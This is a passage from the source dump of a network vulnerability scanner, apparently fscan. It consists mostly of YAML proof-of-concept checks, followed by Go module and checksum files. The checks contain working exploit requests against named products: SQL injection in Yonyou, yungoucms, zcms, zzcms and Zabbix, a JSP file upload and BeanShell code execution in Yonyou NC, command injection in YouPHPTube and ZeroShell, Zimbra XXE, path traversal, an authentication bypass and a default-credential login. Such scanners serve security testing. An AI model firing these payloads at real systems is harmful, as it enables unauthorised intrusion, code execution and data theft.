cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{r1}}%2a{{r2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: 凉风(http://webkiller.cn/) links: - https://www.hacking8.com/bug-web/%E7%94%A8%E5%8F%8B/%E7%94%A8%E5%8F%8B-GRP-u8%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml ================================================ name: poc-yaml-yonyou-nc-arbitrary-file-upload set: r1: randomInt(10000, 20000) r2: randomInt(1000000000, 2000000000) r3: b"\xac\xed\x00\x05sr\x00\x11java.util.HashMap\x05\a\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\fw\b\x00\x00\x00\x10\x00\x00\x00\x02t\x00\tFILE_NAMEt\x00\t" r4: b".jspt\x00\x10TARGET_FILE_PATHt\x00\x10./webapps/nc_webx" rules: - method: POST path: /servlet/FileReceiveServlet headers: Content-Type: multipart/form-data; body: >- {{r3}}{{r1}}{{r4}}<%out.print("{{r2}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%> expression: | response.status == 200 - method: GET path: '/{{r1}}.jsp' headers: Content-Type: application/x-www-form-urlencoded expression: | response.status == 200 && response.body.bcontains(bytes(string(r2))) detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "YONYOU NC > 6.5" links: - https://blog.csdn.net/weixin_44578334/article/details/110917053 ================================================ FILE: WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml ================================================ name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce set: r1: randomInt(8000, 9999) r2: randomInt(8000, 9999) rules: - method: POST path: /servlet/~ic/bsh.servlet.BshServlet body: bsh.script=print%28{{r1}}*{{r2}}%29%3B expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: B1anda0(https://github.com/B1anda0) links: - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A ================================================ FILE: WebScan/pocs/yonyou-u8-oa-sqli.yml ================================================ name: poc-yaml-yongyou-u8-oa-sqli set: rand: randomInt(200000000, 220000000) rules: - method: GET path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: author: kzaopa(https://github.com/kzaopa) links: - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/youphptube-encoder-cve-2019-5127.yml ================================================ name: poc-yaml-youphptube-encoder-cve-2019-5127 set: fileName: randomLowercase(4) + ".txt" content: randomLowercase(8) payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) rules: - method: GET path: /objects/getImage.php?base64Url={{payload}}&format=png follow_redirects: true expression: | response.status == 200 - method: GET path: /objects/{{fileName}} follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(content)) detail: author: 0x_zmz(github.com/0x-zmz) links: - https://xz.aliyun.com/t/6708 ================================================ FILE: WebScan/pocs/youphptube-encoder-cve-2019-5128.yml ================================================ name: poc-yaml-youphptube-encoder-cve-2019-5128 set: fileName: randomLowercase(4) + ".txt" content: randomLowercase(8) payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) rules: - method: GET path: /objects/getImageMP4.php?base64Url={{payload}}&format=jpg follow_redirects: true expression: | response.status == 200 - method: GET path: /objects/{{fileName}} follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(content)) detail: author: 0x_zmz(github.com/0x-zmz) links: - https://xz.aliyun.com/t/6708 ================================================ FILE: WebScan/pocs/youphptube-encoder-cve-2019-5129.yml ================================================ name: poc-yaml-youphptube-encoder-cve-2019-5129 set: fileName: randomLowercase(4) + ".txt" content: randomLowercase(8) payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) rules: - method: GET path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg follow_redirects: true expression: | response.status == 200 - method: GET path: /objects/{{fileName}} follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(content)) detail: author: 0x_zmz(github.com/0x-zmz) links: - https://xz.aliyun.com/t/6708 ================================================ FILE: WebScan/pocs/yungoucms-sqli.yml ================================================ name: poc-yaml-yungoucms-sqli set: rand: randomInt(2000000000, 2100000000) rules: - method: GET path: >- /?/member/cart/Fastpay&shopid=-1%20union%20select%20md5({{rand}}),2,3,4%20--+ follow_redirects: false expression: > response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: author: cc_ci(https://github.com/cc8ci) links: - https://www.secquan.org/Prime/1069179 ================================================ FILE: WebScan/pocs/zabbix-authentication-bypass.yml ================================================ name: poc-yaml-zabbix-authentication-bypass rules: - method: GET path: /zabbix.php?action=dashboard.view&dashboardid=1 follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes("Share")) && response.body.bcontains(b"Dashboard") detail: author: FiveAourThe(https://github.com/FiveAourThe) links: - https://www.exploit-db.com/exploits/47467 ================================================ FILE: WebScan/pocs/zabbix-cve-2016-10134-sqli.yml ================================================ name: poc-yaml-zabbix-cve-2016-10134-sqli set: r: randomInt(2000000000, 2100000000) rules: - method: GET path: >- /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0) follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31))) detail: author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134 ================================================ FILE: WebScan/pocs/zabbix-default-password.yml ================================================ name: poc-yaml-zabbix-default-password rules: - method: POST path: /index.php body: name=Admin&password=zabbix&autologin=1&enter=Sign+in expression: | response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session") detail: author: fuzz7j(https://github.com/fuzz7j) links: - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login ================================================ FILE: WebScan/pocs/zcms-v3-sqli.yml ================================================ name: poc-yaml-zcms-v3-sqli rules: - method: GET path: >- /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec991e") detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://www.anquanke.com/post/id/183241 ================================================ FILE: WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml ================================================ name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal rules: - method: GET path: /_next/static/../server/pages-manifest.json expression: | response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body) detail: author: x1n9Qi8 links: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-1728 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5284 ================================================ FILE: WebScan/pocs/zeroshell-cve-2019-12725-rce.yml ================================================ name: poc-yaml-zeroshell-cve-2019-12725-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: GET path: /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aexpr%20{{r1}}%20-%20{{r2}}%0A%27 follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) detail: author: YekkoY description: "ZeroShell 3.9.0-远程命令执行漏洞-CVE-2019-12725" links: - http://wiki.xypbk.com/IOT%E5%AE%89%E5%85%A8/ZeroShell/ZeroShell%203.9.0%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2019-12725.md?btwaf=51546333 ================================================ FILE: WebScan/pocs/zimbra-cve-2019-9670-xxe.yml ================================================ name: poc-yaml-zimbra-cve-2019-9670-xxe rules: - method: POST path: /Autodiscover/Autodiscover.xml headers: Content-Type: text/xml body: >- ]>test@test.com&xxe; follow_redirects: false expression: | response.body.bcontains(b"zmmailboxd.out") && response.body.bcontains(b"Requested response schema not available") detail: author: fnmsd(https://blog.csdn.net/fnmsd) cve-id: CVE-2019-9670 vuln_path: /Autodiscover/Autodiscover.xml description: Zimbra XXE Vul,may Control your Server with AdminPort SSRF links: - https://blog.csdn.net/fnmsd/article/details/88657083 - https://blog.csdn.net/fnmsd/article/details/89235589 ================================================ FILE: WebScan/pocs/zzcms-zsmanage-sqli.yml ================================================ name: poc-yaml-zzcms-zsmanage-sqli set: r0: randomLowercase(6) r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: /user/zs.php?do=save headers: Content-Type: application/x-www-form-urlencoded body: >- proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23 follow_redirects: true expression: | response.status == 200 - method: GET path: /user/zsmanage.php follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: JingLing(https://hackfun.org/) version: zzcms201910 links: - https://github.com/JcQSteven/blog/issues/18 ================================================ FILE: go.mod ================================================ module github.com/shadow1ng/fscan go 1.20 require ( github.com/IBM/sarama v1.43.3 github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.18.0 github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-sql-driver/mysql v1.8.1 github.com/gocql/gocql v1.7.0 github.com/google/cel-go v0.13.0 github.com/gosnmp/gosnmp v1.38.0 github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed github.com/neo4j/neo4j-go-driver/v4 v4.4.7 github.com/rabbitmq/amqp091-go v1.10.0 github.com/satori/go.uuid v1.2.0 github.com/schollz/progressbar/v3 v3.13.1 github.com/sijms/go-ora/v2 v2.5.29 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 golang.org/x/crypto v0.31.0 golang.org/x/net v0.32.0 golang.org/x/sync v0.10.0 golang.org/x/sys v0.28.0 golang.org/x/text v0.21.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/protobuf v1.28.1 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 ) require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/eapache/go-resiliency v1.7.0 // indirect github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect github.com/google/uuid v1.6.0 // indirect github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect github.com/jcmturner/aescts/v2 v2.0.0 // indirect github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect github.com/jcmturner/gofork v1.7.6 // indirect github.com/jcmturner/goidentity/v6 v6.0.1 // indirect github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/klauspost/compress v1.17.9 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-runewidth v0.0.14 // indirect github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect github.com/rivo/uniseg v0.4.7 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect golang.org/x/term v0.27.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect ) replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 replace github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 => github.com/shadow1ng/goWMIExec v0.0.2 ================================================ FILE: go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0= github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8= github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI= github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves= github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY= github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY= github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k= github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw= github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA= github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho= github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 h1:Oy0F4ALJ04o5Qqpdz8XLIpNA3WM/iSIXqxtqo7UGVws= github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0= github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk= github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0= github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo= github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus= github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY= github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod 